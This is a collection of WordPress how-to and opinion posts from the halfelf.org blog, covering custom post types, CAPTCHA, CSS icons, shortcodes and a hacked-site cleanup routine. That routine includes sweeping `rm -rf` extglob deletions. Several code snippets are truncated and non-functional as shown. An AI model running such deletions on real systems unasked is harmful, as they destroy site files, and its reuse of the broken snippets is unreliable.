Bad call on my part. Then I read Bob’s post [OMG! I Can’t Find Your Email on Your Business Card](http://www.bobwp.com/cannot-find-email-on-business-card/). He talks about how the times are changing and how if someone wanted to find him, they would Google “BobWP” and find him! So really all they need is his URL. This is true, and when I revisited what I wanted on a card, I thought “My name, my silly titles, a URL, and a ‘not available for contract work’ note.”
That last one was really important, since I’m just … not. I don’t like doing it, I don’t need to do it, and I won’t do it for most people. Now I know there are about five people going “But Mika, you do *my* website stuff!” Hey, there are exceptions. And the small group of people I do ‘consultant work’ for are part of why I don’t do more. I can’t and maintain my hobbies. Since I don’t need do, I don’t do it. But sometimes I do little tradsies. Like I did one for a friend recently who had a plugin break and she was lost. I knew what was wrong, walked her through fixing it, and she replied with an email a week later with the following design that just came to her:
[](https://halfelf.org/2013/no-contact/newcards/)
The photo (which is also the background on the new design) is one I took this summer outside my gym of a palm tree. She said it was cheerful and welcoming and established me as being in a warm place. She lives in upstate NY where she already has feet of snow this year, so it may be related. Now unlike Bob, I do put my name there, and on the back are two icons (Twitter and WordPress) above a simple word “ipstenu” but nothing more (leaving massive amounts of white space for notes).
The one thing I left out was what I do. I mean, yes, I say “Half-Elf Support Rogue” and “DreamHost WordPress Guru” which should explain something, but the goal isn’t really to get more business, but to have a reply to those people who say “Have a card?” Maybe they’ll look at my site and buy an ebook, or whatever. But hey, now they know what’s up.
**Categories:** How It Is
**Tags:** design, essay
---
### [Dashicon My CPTs on the Dashboard](https://halfelf.org/2013/dashicon-my-cpts/)
**Published:** December 20, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's not a Reeses, but here's a totally simple way to style your CPTs in 'Right now' as well as the menu!
**Content:**
To extend on what I said about how my [custom post types are in mu-plugins](https://halfelf.org/2012/my-custom-posttypes-live-in-mu/), and knowing that [I like MP6 a lot](https://halfelf.org/2013/mp6uccess-tips-and-tricks/ "MP6uccess – Tips and Tricks"), I thought I should share how I style my icons for CPTs!
First off, the code to add tables has changed totally so I made this simple look to go through my CPTs (ebooks and plugins) and for each one, make a new item, and add that to `dashboard_glance_items`:
```
// Adding to Right Now
add_action( 'dashboard_glance_items', 'halfelf_right_now' );
function halfelf_right_now() {
foreach ( array( 'ebooks', 'plugins' ) as $post_type ) {
$num_posts = wp_count_posts( $post_type );
if ( $num_posts && $num_posts->publish ) {
if ( 'ebooks' == $post_type ) {
$text = _n( '%s eBook', '%s eBooks', $num_posts->publish );
}
if ( 'plugins' == $post_type ) {
$text = _n( '%s Plugin', '%s Plugins', $num_posts->publish );
}
$text = sprintf( $text, number_format_i18n( $num_posts->publish ) );
printf( '%2$s', $post_type, $text );
}
}
}
```
Next I added in an extra function to the bottom of my CPT page for the styling:
```
function helf_cpts_css() {
echo "";
}
add_action('admin_head', 'helf_cpts_css');
```
No, really, that’s it. The content info is grabbed from [Dashicons](http://melchoyce.github.io/dashicons/) and I’m done. Oh and since there’s no book icon, I used `dashicons-welcome-learn-more` instead. This works for anything I chose to put in Right Now or my menu, so I have consistency.
**Categories:** How It Is
**Tags:** administration, coding, css, wordpress
---
### [CAPTCHA Isn't Accessible](https://halfelf.org/2010/captcha-isnt-accessible/)
**Published:** November 8, 2010
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The concept was great. Make a way for people to easily prove they're people and stop bots! The problem is it's no longer 'easy'. Nor do they work.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2010/11/captcha.jpg) I’m just going to start this with a possibly startling fact. **[PWNtcha](http://caca.zoy.org/wiki/PWNtcha) can break 90% of known CAPTCHA algorithms.** If that doesn’t tell you why they’re totally useless, then I don’t know what will.
It’s no secret that I detest and will not use CAPTCHA on any site I build. I have a math-test on one site where I get a lot, but that’s as far as I’m willing to get into that world. People often ask me why I hate it, and I tell them that it doesn’t work and it’s bad for accessibility. The fact that it doesn’t work is proven by PWNtcha pretty well, but the concept that it’s bad for accessibility seems to be lost on a lot of people.
[](https://halfelf.org/wp-content/uploads/sites/2/2010/11/P48_31_Wink_of_an_Eye.jpg) CAPTCHA stands for Completely Automated Public Turing test to Tell Computers and Humans Apart. In the begining, it was a great idea. The computer world had just started to try and make AI, and the first attempts at that on the Internet was to put little bots out that talked to people, asking and answering questions. That, in itself, is pretty damn cool, I agree. With working AI, we’re one step closer to ‘Computer, I’d like a bottle of Chateau Picard’s chardonnay, chilled to 68 degrees Fahrenheit, and play some Barry White at volume level 3.’ (illustrated to the right). AI is a great concept. But. What we actually got was people thinking ‘Wouldn’t it be cool if I made something that listened for key phrases and told them about my cool product?’ Basically, spam.
An early defense against spam was that you had to enter a CAPTCHA code, which showed a picture with letters and numbers, and you entered those letters and numbers into a text field. The magic CAPTCHA verified they were the same and let you in. Pretty cool, right? Except that if there was a way for CAPTCHA to compare the image to the text you entered, then there had to be a way to reverse engineer that so a spam bot could read and enter the same code. Ever since then, it’s been an ongoing fight to make a better mousetrap.
See, a human can easily read CAPTCHA like these:

But the best ones, the ones that can’t be solved by computers, the ones that even PWNtcha says will last for a long time, are ones I look at and wince:

Clearly if you make it good enough that a computer can’t crack it, you make it harder for a human to be able to understand it. In that one moment, anyone who has limited vision can’t access your site. Which means you’ve lost a visitor. If this is your business, you’ve lost revenue. And if you think there aren’t a lot of people that this will keep out of your site, think about how many people you know with some form of dyslexia. Think about how many people over the age of 40 (the age at which most of us need reading glasses) visit your site. Even if you run a trendy under-30 store, grammy may want to buy junior a new hip shirt. And don’t even pretend that older people don’t matter. Remember how *long ago* you were in College? Yeah, you’re getting older too, buddy.
So they don’t work, they keep real people out of your site, and did I mention you probably don’t need it? I’ve been running ipstenu.org for a very long time (on Internet time – it’s been over a decade). I’ve had less than 20 spam posts show up on my site. None since I turned on comment approval (where I must approve your FIRST comment, but after that, you’re free to post). Akismet has caught about 50k spam posts. Bad Behavior’s caught even more (100k at last gasp) and only two ‘real’ people have ever complained about being caught (one had a virus, one had a bad firewall at school). Sure, if you’re Yahoo, you *might* need it, but did you know the ‘unreadable’ examples I used above were from Yahoo? Yeah. Google has a pretty basic, easy to read one, and so does Twitter. Facebook has too many, and they’re annoying. They actually probably don’t need them, either.
Turn off your CAPTCHA. Your users will thank you.
**Continued Reading**
• [Inaccessibility of CAPTCHA – W3.Org](http://www.w3.org/TR/turingtest/)
• [It’s Official: Captchas Are Bad for Business – The ZURBlog](http://www.zurb.com/article/285/its-official-captchas-are-bad-for-busines)
• [Why you should never use a CAPTCHA – Online Aspect](http://www.onlineaspect.com/2010/07/02/why-you-should-never-use-a-captcha/)
• [CAPTCHA Effectiveness – Coding Horror](http://www.codinghorror.com/blog/archives/000712.html)
**Categories:** How It Is
**Tags:** administration, essay, spam
---
### [Make It Pretty](https://halfelf.org/2013/make-it-pretty/)
**Published:** December 9, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Make your WordPress toolbar pretty for all users, and win!
**Content:**
This one is a visual.
Here’s what my WordPress toolbar looks like on WP 3.8 on a site where I show Jetpack Stats in the bar:

And here’s what it looks like on a site where I don’t show the stats:

And here’s an even worse menu:

So what does this tell you? As a developer, you need to spend some time making sure your menus look nice. I already went to the Jetpack blokes about this, but the real crux here is ‘toolbar menu items get janky.’
This has *always* been the case, of course. It’s just a little more prominent in the MP6ified world, and it is getting better, but what needs to happen is plugin and theme developers who add in toolbar menu items take stock of *how* their items are used.
The obviously easy fix is to use [`wp_is_mobile()`](http://codex.wordpress.org/Function_Reference/wp_is_mobile) to check if the device is a mobile one and if so, simply not show the menu item. After all, the odds of someone needing to adjust SEO via the toolbar on a mobile is slim. An exception might be emptying cache for that page, and for them I suggest an alternative. When you really do have a major use-case for a toolbar menu item on mobile, have it degrade via `wp_is_mobile()` to show just an icon on mobiles. For caching, I’d use \[genericon icon=”trash”\] (there’s one for [Dashicons](http://melchoyce.github.io/dashicons/): dashicons-trash).
I know this one’s really crazy short, but it’s one of those things that really needs a reminder. You’ve got to test your toolbar additions! WordPress 3.8 is due out three days from this post. Get on it!
**Categories:** How It Is
**Tags:** development, wordpress
---
### [Why I Hate Facebook](https://halfelf.org/2013/why-i-hate-facebook/)
**Published:** November 29, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's not the quality of content, but the way you have to beat your head against a way to get around that frosts my lizard.
**Content:**
I do, you know. I hate it for a couple reasons, but the primary one is the user interface sucks. It’s just horrible. And since I’ve apparently turned Friday into my free, shortform, random topic day, let me explain to you why.
### Ignores My Settings
I cannot tell you how many times I’ve gone to my timeline and seen garbage from last week. “What the hell?” I would shout, and look to see that my timeline is ordered by something called “Top Stories.” Interesting, because I know for a 100% fact that I set it to “Most Recent.” But no, no, Facebook changed it. So I change it back:

And don’t ask me how many times I’ve had to turn chat OFF.
### Click Don’t Matter
This is worse on iOS where I have to click twice on *every single link*, but it’s bad on the sort order, which is not a link but a drop down. Only since it’s right above the post in my timeline, I have to wiggle my mouse around until I magically click the right place for it to work. Using Facebook on my iPhone means I have to use their app, which behaves radically differently from the normal app, so thanks. Now I have to learn everything twice.
### Unfollow Does not Mean What You Think It Means
If I comment in a thread, I follow it. Okay. I can see why you do that, and while I’d like an option to default that to off, I’m not going to argue. But when I make a comment, sometimes I click ‘Unfollow’ right away, because I just wanted to say one thing, or post “Congratulations on your baby!” and move on. That’s the end of it, right?
Nope. Every time someone ‘likes’ my comment, I get a notification. Every. Smegging. Time. I’m witty. Lots of people like my comments, or find them helpful, or whatever. That means I get a lot of BS notifications I don’t give a horse’s patootie about.
### Wrong location For VERY important information
Do you know how to ‘tell’ if a post can be shared? Some can, some can’t you see. Let me help. This post is public and can be shared:

This post is friends only and cannot be shared:

Different icons, different meanings. Where are these icons? At the *bottom* of the post. Why is that a problem, you may ask? After all, the share button is down there too! Not everyone shares with share buttons. A lot of people will copy what someone says on FB to a blog. If they don’t happen to scroll down (which, let’s face it, a lot of us don’t), and don’t happen to know magically that a globe is public and a group of little people is a friends-only thing, they’ll copy the post content, paste it to their website, and share with the world.
I’m not so naive to think anything I put online is ever fully ‘private.’ But I’m intelligent, experienced, and I work in IT. I understand the world around me, and how the digital world shares data. If it’s online, someone will see it, share it, and make it public. Not everyone gets that, and they get upset.
How could Facebook fix this? Put at the top of the post “Friends Only!” or “Public Post” so it’s clear right away.
### Bad Colors
Did you know you can embed Facebook posts in WordPress?
https://www.facebook.com/photo.php?fbid=10151997270514795&set=a.10150154582169795.302445.251152514794&type=1
That’s my high school celebrating soccer season. The link for embedding FB? Grey. Pale grey. In the image below, I’m hovering over it. It’s still grey. If I didn’t know better, I’d think it was plain text!

There should be a color change when you hover over a link, a *noticable* color change.
### But wait, there’s more!
I’m sure there is, but at over 600 words, lets call this a day. What annoys you about Facebook’s user interface?
**Categories:** How It Is
**Tags:** essay, facebook, social media, ux
---
### [WPwatercooler - Multisite Edition](https://halfelf.org/2013/wpwatercooler-multisite-edition/)
**Published:** November 25, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Multisite, multisite, multisite! Why is it always Multisite? Listen to me talk on WPwatercooler about Multisite, plugins, and other related shenanigans.
**Content:**
Half an hour kbittzing about Multisite with the players from WPwatercooler
Credit: [WPwatercooler](http://www.wpwatercooler.com/video/ep63-what-are-the-best-ways-to-work-with-wordpress-multisite-wpwatercooler-nov-25-2013/)
It’s also going to be on podcast and sticher and apparently I have a nice, soothing, voice. Thanks, Cousin Dan, for the tips and tricks about that!
**Categories:** Video
**Tags:** multisite, wordpress
---
### [Command Line Cleaning WP](https://halfelf.org/2013/command-line-cleaning-wp/)
**Published:** November 25, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Burn the land and boil the seas, I use CLIs to clean WP. My heavy handed, command line methodology to scrubbing the heck out of a WordPress install when I clean.
**Content:**
I’m a huge fan of the [scorched earth clean up for WordPress](https://halfelf.org/2012/scorched-earth-security/ "Scorched Earth Security"). By which I mean when I clean up WP, I rip it out, scrub it, and reinstall. This scares the heck out of people sometimes, and if you’re doing it in a GUI, yeah, it can be sucky and time consuming. Me? I do it in 5-10 minutes, depending on if my cat wants to be petted.
I’ve been asked ‘How do you do it that fast?’ so here are my steps for cleaning up WP, with the following assumptions:
1. I’m working in the folder where WP is installed
2. wp-config.php is in this folder
3. WP is in ‘root’ (i.e. I’m not giving WP it’s own folder)
If any of those aren’t true for you, adjust the folder locations in the commands:
Download WP: `wget -P ../ http://wordpress.org/latest.zip`
Unzip it: `unzip -qq -d ../ ../latest.zip`
Backup DB: `wp db export`
**Pause.** Here I’m using [WP CLI](http://wp-cli.org/), which makes my life way easier. If you’re not, you’ll need something like this: `mysqldump --opt --user=username --password=password --host=yourMySQLHostname dbname > domain_com.sql `
Zip up the files I want to backup: `zip -r ../domain.zip *.sql wp-config.php .htaccess wp-content/`
Set glob. Glob is scary, I know, but [read about glob](http://mywiki.wooledge.org/glob) before you dismiss it (if you’re on korn, you can usually skip this): `shopt -s extglob`
Delete files: `rm -rf !(wp-config.php|wp-content)`
**Pause.** At this point, It’s probably wise to consider that my hack *may* be in my theme and/or plugin. If so, I want to nuke them and JUST keep my uploaded files, so I use this instead…
Delete files: `rm -rf !(wp-config.php|wp-content) wp-content/!(uploads|blogs.dir)`
**Pause again.** No matter what, want to [scan for evil files](https://halfelf.org/2013/evaluating-evil/ "Evaluating Evil"), but this way I do it over a much smaller group of files. Either way, though, I do want to scan the folder for evil, because leaving behind hacks in themes and plugins is really common. Also it’s a good idea to delete every plugin you don’t use, and theme as well. Since you really can’t delete *all* themes but one on a Multisite, this gets harder. Generally I don’t delete the themes automatically, but instead go in and nuke them one at a time, so I run this…
Delete files: `rm -rf !(wp-config.php|wp-content) wp-content/!(uploads|blogs.dir|themes|mu-plugins)`
Now we can move on, knowing our personal files are clean.
Copy it back: `cp -r ../wordpress/* .`
Clean it up: `rm -rf ../wordpress ../latest.zip`
And now you’re done! When you want to reinstall plugins and themes, I do via wp-cli because it’s faster: `wp plugin install NAME` and `wp theme install NAME`
Then I activate as needed and I’m off to the races. If I deleted my mu-plugins, I copy those back from my backup zip, one at a time, checking each file for hacks.
The best thing about this is you can apply the logic to any CMS out there. Just know what you have to delete and keep. The downside? It doesn’t touch your database. Rarely is this an issue for me, except in the case of the Pharma hack. I’ve not had a DB infected yet.
Do you have a solid methodology for cleaning it up?
**Categories:** How To
**Tags:** command line, hacks, security, unix, wordpress
---
### [Plugin Wish: Login With Google](https://halfelf.org/2013/plugin-wish-login-with-google/)
**Published:** November 22, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I don't know how to write this code, but I'd love to see a WP Plugin take Google Integration to the next level.
**Content:**
Now I know what you’re thinking. “Mika, there are a hundred plugins that let you log in via Google!”
That’s not what I mean. Let me explain with a story.
You have a business, example.com, and you use Google Apps for everything. Then you start tying this into other companies, like a time sheet company, that let’s you ‘Login with Google’ and redirects you to the right company settings. Cool, right? Kind of like this:

And you think you’d like an internal, private, blog, where people can post cat pictures. Or whatever. What if you could just have the login screen be that Google button? And you know there’s a bajillion plugins for it, but you want to have it be *only* people on example.com. So you@gmail.com can’t login, but me@example.com and dad@example.com can too!
I want that.
I have not yet seen it, but I think that would be an amazing plugin. By default, the domain it ‘validates’ would be the one on which it’s installed (so here it’d be halfelf.org), but you could override it (which is good, since I’d want to use ipstenu.org). Then you’d want it to ‘generate’ new users if they don’t exist, since you don’t want to have to add every single new person, right?
Oh and you don’t have to terribly worry about that fired guy, bob@example.com, because once he’s fired and you disable the email account, he can’t log in!
Some concerns of course would be Two-Factor Authentication. Also how do you handle multisite? I would envision a default nothing-set option for Multisite, where the network admin could network activate, and set the default domain there. Add in a check box for “Allow individual sites to override?” at the very least. Maybe a sneaky “Always allow the super admin to log in” setting too, though that gets complicated fast.
Cliff Seal pinged me about this and said he’d been fidddling with but he never finished. Who’s up for the challenge?
And no, it did not escape me the hilarity of me, a loud “I don’t like Google owning all my data!” person suggesting this.
**Categories:** How It Is
**Tags:** administration, google, plugins, wordpress
---
### [Sidebar Login Widget](https://halfelf.org/2012/sidebar-login-widget-2/)
**Published:** November 8, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Simple widget with basic options for a login form.
**Content:**
So this happened after people asked me about how to make a widget. This makes a slightly customizable widget that will let you have a slightly customized login form via a widget.
As with all hacks, you’re on your own for support. Code is GPLv2, and it should be translatable.
## Download Code
The code is in a .txt file. Rename if .php and toss it in `mu-plugins`
[Download TXT](https://halfelf.org/wp-content/uploads/sites/2//2012/11/sidebar-login-widget.txt)
## Code
/*
Plugin Name: Sidebar Login Widget
Plugin URI: https://halfelf.org/hacks/sidebar-login-widget
Description: Sidebar Login Form via widget
Author: Mika Epstein
Version: 1.0
Author URI: https://halfelf.org/
Copyright 2012 Mika Epstein (email: ipstenu@ipstenu.org)
Sidebar Login Widget is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 2 of the License, or
(at your option) any later version.
Sidebar Login Widget is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with WordPress. If not, see
**Categories:** How To
---
### [ShareDaddy Genericons](https://halfelf.org/2013/sharedaddy-genericons/)
**Published:** October 21, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using Genericons for ShareDaddy (in Jetpack) it not that hard at all.
**Content:**
I have a sneaky feeling that *after* I publicize this, it may end up as an option in Jetpack. After all, they already include Genericons.
I’m using [Sharing (from Jetpack)](http://jetpack.me/support/sharing/) on a couple sites, and it works fairly well (the metrics were surprising that one one site they excel and on others they’re never used). That said, I didn’t like the images loaded for ShareDaddy, and it was a real Golidlocks moment. The ‘icon’ buttons were buttons within buttons, and with or without the text, that didn’t make me smile. The official buttons were too large and not matchy enough since everyone has their own design.

So what’s a girl to to but fall back on her favorite toy in all the world, [Genericons](http://genericons.com)!
There are only three steps, and the third is to have a drink. You ready?
### Change Sharing Links to “Text Only”
It’s easier to do this via text only, though I’m sure you can do it with the others. I switched to Text. One click. Done.
### Edit your CSS
Now I want to hide the text, put a Genericon before the link, and set the colors to ‘true’ for each item (that is, use Twitter Blue for Twitter, Facebook Blue for Facebook, Google Orange for Google+ etc). I picked silvery-grey for email. Also I think it’s correct to use `display:none` to hide the text, since screenreaders will still read it, and that’s okay. Could be wrong. CSS is not my super-power.
```
div.sharedaddy a.sd-button {
padding: 2px!important;
}
div.sharedaddy .sd-content li a::before {
font-family: 'Genericons';
font-size: 16px;
color: #fff;
}
div.sharedaddy a.sd-button>span {
display: none;
}
div.sharedaddy .sd-content li.share-twitter a::before {
content: '\f202';
color: #4099FF;
}
div.sharedaddy .sd-content li.share-facebook a::before {
content: '\f204';
color: #3B5998;
}
div.sharedaddy .sd-content li.share-google-plus-1 a::before {
content: '\f218';
color: #DD4B39;
}
div.sharedaddy .sd-content li.share-tumblr a::before {
content: '\f214';
color: #2C4762;
}
div.sharedaddy .sd-content li.share-email a::before {
content: '\f410';
color: #666666;
}
```
This isn’t perfect, since there’s no Genericon for Printing, Digg, Reddit, StumbleUpon, or Pocket at this time. I’ll be suggesting it to Joen soon. Interestingly, [Font Awesome](http://fortawesome.github.io/Font-Awesome/icons/) (which could also be used for this) doesn’t have Reddit or the other social networks either, but it does have a print icon. Me? I don’t need them for this site, so it’s okay.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/10/myshare.png)
Looks great, scales well on high-def devices, and it pleases me. By the way Pinterest’s red is `#C92228` from what I can tell.
### Have a drink
Like I said, step three to was to have a drink. You’re done!
**Categories:** How To
**Tags:** css, genericons, wordpress
---
### [Instagram oEmbed](https://halfelf.org/2012/instagram-oembed/)
**Published:** October 3, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** More of an example on how to do embed, but useful for some.
**Content:**
This isn’t hard, so it’s just a nice example of how to handle instagram.
```
wp_oembed_add_provider('#http://(www\.)?instagram\.com/.*#i', 'http://api.instagram.com/oembed?url=', true);
```
Per usual, I have a file called oembeds.php in my mu-plugins folder, where I toss all these. This will work with and without www in the URL. I will warn you, Instagram’s embed is ugly! Here’s `http://instagram.com/p/QU1OfbHBTe/`
http://instagram.com/p/QU1OfbHBTe/
See? No formatting, nothing to tell you it’s bloody Instagram.
Meanwhile, here’s the tweet it came from:
https://twitter.com/fevered/status/253519604842917889
Much nicer, eh? Of course, Instagram is weird, in that they don’t let you browse images.
**Categories:** How To
**Tags:** function, wordpress
---
### [Embedding CBS Video](https://halfelf.org/2012/embedding-cbs-video/)
**Published:** May 22, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to make a quick shortcode to embed CBS videos on your site.
**Content:**
This spun out of someone who was \_doing\_it\_wrong(). His plugin embed code reinvented all four wheels. First he was doing a reg4exp to implement shortcodes, then he was replicating oEmbeds that WordPress already has. I told him to first remove the ones that existed (so as not to cause conflicts) and then look up shortcodes.
But since the shortcodes he wanted to make were a little weird, I thought “Well, I know *I* would like to see the CBS Videos one, since I embed a lot of them…” So I took ten minutes to eat a cracker and re-write his code.
Here’s my code first.
```
// CBS Video Shortcode
function cbsvideo_func( $atts ) {
extract( shortcode_atts( array(
'id' => '00',
'width' => '480',
'height' => '270',
), $attr ) );
return '';
}
add_shortcode( 'cbsvideo', 'cbsvideo_func' );
```
Then you use `[cbsvideo id="9wFRf8KYoAXipnXgA8GKIm1VNaMgKjpE"]` to embed it and have a beer. I put it in a file called sitewide-functions.php in my mu-plugins folder and walked away.
Here’s his code, as a reference.
```
define("CBS_WIDTH", 480); // default width
define("CBS_HEIGHT", 270); // default height
define("CBS_REGEXP", "/\[cbs ([[:print:]]+)\]/");
define("CBS_TARGET", "");
function cbs_plugin_callback($match)
{
$tag_parts = explode(" ", rtrim($match[0], "]"));
$output = CBS_TARGET;
$output = str_replace("###URL###", $tag_parts[1], $output);
if (count($tag_parts) > 2) {
if ($tag_parts[2] == 0) {
$output = str_replace("###WIDTH###", CBS_WIDTH, $output);
} else {
$output = str_replace("###WIDTH###", $tag_parts[2], $output);
}
if ($tag_parts[3] == 0) {
$output = str_replace("###HEIGHT###", CBS_HEIGHT, $output);
} else {
$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
}
} else {
$output = str_replace("###WIDTH###", CBS_WIDTH, $output);
$output = str_replace("###HEIGHT###", CBS_HEIGHT, $output);
}
return ($output);
}
function cbs_plugin($content)
{
return (preg_replace_callback(CBS_REGEXP, 'cbs_plugin_callback', $content));
}
add_filter('the_content', 'cbs_plugin',1);
add_filter('the_content_rss', 'cbs_plugin');
add_filter('comment_text', 'cbs_plugin');
```
35 lines of code vs 11, and my 11 will run faster.
**Categories:** How To
---
### [I Make Plugins CPT](https://halfelf.org/2012/i-make-plugins-cpt/)
**Published:** May 5, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Extending Mark Jaquith's "I Make Plugins" plugin to work with Custom Post Types.
**Content:**
Mark Jaquith makes plugins. He also makes a plugin about making plugins, called [I Make Plugins](http://wordpress.org/extend/plugins/i-make-plugins/), which auto-formats your ‘local’ plugin pages, so you don’t have to write anything, and just pull in the WordPress repository readme for your plugin. It’s almost like the *Victor/Victoria* of plugins. Anyway, my issue was I don’t use pages for my plugin listing, I use CPTs. And in order to use Mark’s plugin, I had to hack it.

So I did the smart thing, and emailed him with an “I love your plugin! Here’s what I had to change to make it work with a CPT, though.” A couple days later, Mark replied with “Use these filters instead. Untested!” He also bailed me out when I screwed it up, so he gets an Internet today.
Even though I’ve never actually messed with filters in this way (actions yes, filters I’m still learning), I sat down with my coffee and started reading. Yes, I actually read things before I jump in, contrary to what my friends think.
This turned out to be pretty simple, when you got around to it. Since Mark called `apply_filters(NAME,PARAMS)`, all I had to do was `add_filter(NAME,MYFUNCTION)` and then make a function, passing the PARAMS and parsing as I needed. Mark fixed my original code (which was hellishly not optimized) and fixed my weird preview issue by returning an option I forgot.
**Post Type**
First I had to set the post type. In this case, Mark defaults to pages, I default to plugins. Yes, I named a post type ‘plugins.’ It works.
```
add_filter( 'i-make-plugins__post_type', 'halfelf_imp_posttype' );
function halfelf_imp_posttype() {
return 'plugins';
}
```
This takes in the arguments as `$args`, resets it to plugins, and returns the new value.
**Get Plugins**
Mark also has a ‘post parent’ so where I just use the CPT’s archive page for https://halfelf.org/plugins, he has an actual page with sub-pages. I don’t need post parent, so per Mark’s suggestion, I need to remove it from ‘get plugins.’
```
add_filter( 'i-make-plugins__get_plugins', 'halfelf_imp_getplugins' );
function halfelf_imp_getplugins( $options ) {
unset( $options['post_parent'] );
return $options;
}
```
Since the parameters I’m pulling in are an array, I have to use unset instead of making it a null value.
**Is Plugin**
The last check is to verify this is a plugin, and we can return the content. The normal string for this checks if the parent of the page is the ‘page parent’ (set earlier normally, unset by me). I just swapped it for a ‘is this a plugin?’ There are two parameters in this one, and the second is the post ID, which I need to check post type.
```
add_filter ('i-make-plugins__is_plugin', 'halfelf_imp_isplugin', 10, 2);
function halfelf_imp_isplugin( $is_plugin, $post ) {
$post = get_post( $post );
return $post->post_type === 'plugins';
}
```
Originally I had a call to `is_preview()` because, for some reason, it was overwriting all my post previews. While that only annoys me, it *really* annoys me! Thankfully once Mark fixed my ‘Get Plugins’ call, it all started working.
**Categories:** How To
**Tags:** coding, plugins, wordpress
---
### [WordPress Site Description](https://halfelf.org/2012/wp-site-description/)
**Published:** April 19, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How I added that cool link to my site description.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/04/ast.jpg)Someone asked me how I got the asterisks in my site description to be a link. It was actually really frustrating for about an hour. And then I remembered my filters.
This site is using Hybrid Core, so there are some extra hooks:
```
add_filter('option_blogdescription', 'halfelf_site_description');
function halfelf_site_description($desc) {
$desc .= '* ';
return $desc;
}
```
If you’re doing it on a non-Hybrid theme, you have to filter bloginfo
```
add_filter( 'bloginfo', 'halfelf_bloginfo', 10, 2 );
function halfelf_bloginfo( $text, $show ) {
if( 'description' == $show ) {
$text .= '* ';
}
return $text;
}
```
Pretty simple.
**Categories:** How To
**Tags:** function, wordpress
---
### [Display Videos Shortcode](https://halfelf.org/2011/display-videos-shortcode/)
**Published:** October 4, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A short-code to display recent videos posted to a CPT on my site. Can be easily extended.
**Content:**
This is a one-off, but it’s interesting to me so I’m sharing. I have a site with very pretty archives. It came with a video Custom Post-Type, but no archives for that type. Now I could have edited the theme, or overwritten the CPT, but I decided instead to embrace what I had and add on. What if I made a shortcode for `[recent-videos]` that showed me the recent videos?
This code was specifically designed for the custom post-type ‘Videos’ in the [News Theme](http://wordpress.org/extend/themes/news) by [Theme Hybrid](http://themehybrid.com).
```
add_shortcode('recent-videos', 'recent_videos_shortcode');
function recent_videos_shortcode($atts) {
extract( shortcode_atts( array(
'posts_per_page' => '10',
), $atts ) );
$args = array(
'post_type' => 'video',
'posts_per_page' => $posts_per_page,
);
$vidlist = new WP_Query($args);
if ( $vidlist->have_posts() ):
$return .= '';
while ( $vidlist->have_posts() ): $vidlist->the_post(); global $post;
$image = ''. get_the_post_thumbnail($post->ID, thumbnail, array('class' => 'news-thumbnail')).' ';
$title = ''. get_the_title() .'';
$date = ''. get_the_date('F j, Y') .'';
$excerpt = '' . get_the_excerpt() . '';
$output = '' . $image . $title . $date . $excerpt . '';
$return .= apply_filters( 'display_posts_shortcode_output', $output, $atts );
endwhile;
$return .= '';
endif; wp_reset_query();
if (!empty($return)) return $return;
}
```
The heavy lifting was formatting it to look right, and I’m not happy about my hack in `class="display-vidlist archive" style="margin: 0 0 0 -20px!important;"` but I also wasn’t 100% sure I wanted to separate the css just yet.
Most people will need to change `'post_type' => 'video',` to their CPT, and remove the style hack.
I can already see where I’d extend this if I wanted to allow more arguments. The only one I put in was for the number of posts: `[recent-videos posts_per_page=10]` — You could easily add in one to allow ANY post type:
```
function recent_videos_shortcode($atts) {
extract( shortcode_atts( array(
'posts_per_page' => '10',
'post_type' => 'post',
), $atts ) );
$args = array(
'post_type' => $post_type,
'posts_per_page' => $posts_per_page,
);
```
Then call `[recent-videos post_type="video"]` — Of course, if you do that, you should probably fork this into ‘Recent Posts Shortcode’ and rebrand recent-video to something else.
Which you totally can do (this, as with all my code, is [licensed GPL2](https://halfelf.org/license/)).
**Categories:** How To
**Tags:** mu-plugins, shortcode, wordpress
---
### [WordPress: Change HTML Editor Font](https://halfelf.org/2011/wordpress-html-editor-font/)
**Published:** June 28, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to quickly change the font on your HTML editor.
**Content:**
Starting with 3.2, the WordPress HTML editor has become MonoSpaced. Yay! Problem is that it looks best on a non-Windows PC, so someone of my friends who happen to be Windows users have the grumpy.
I made an `htmleditor.php` file and tossed it into my `mu-plugins` folder. You *can* use the folder in single and multisite WordPress, and it makes any php files in there act similar to your `functions.php`. I find it preferable since you don’t have to port to a new theme, should you change it. Read [What is the MU-PLUGINS folder?](http://wpmututorials.com/basics/what-is-the-mu-plugins-folder/) if you need more help.
```
**Categories:** How To
**Tags:** mu-plugins, wordpress
---
### [Show Site ID Columns in MultiSite](https://halfelf.org/2011/site-id-columns-multisite/)
**Published:** March 14, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** WordPress 3.1 removed them. I don't use 'em but people kvetched so I wrote this over a 'smoke break.'
**Content:**
This is totally a use at your own risk sort of thing. I really have no plans to do anything with it, and no, you cannot sort by ID due to limitations in how the columns work in WordPress.
**Installation Instructions**
Make a file called `show-site-ids.php`, put this code in it, and upload to your `mu-plugins` folder.
```
```
**Categories:** How To
**Tags:** mu-plugins, multisite, wordpress
---
### [WordPress Google Libraries](https://halfelf.org/2011/wordpress-with-google-libraries/)
